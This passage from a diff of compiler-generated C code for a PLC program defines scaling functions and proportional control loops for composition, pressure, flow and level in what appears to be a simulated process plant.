(UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) 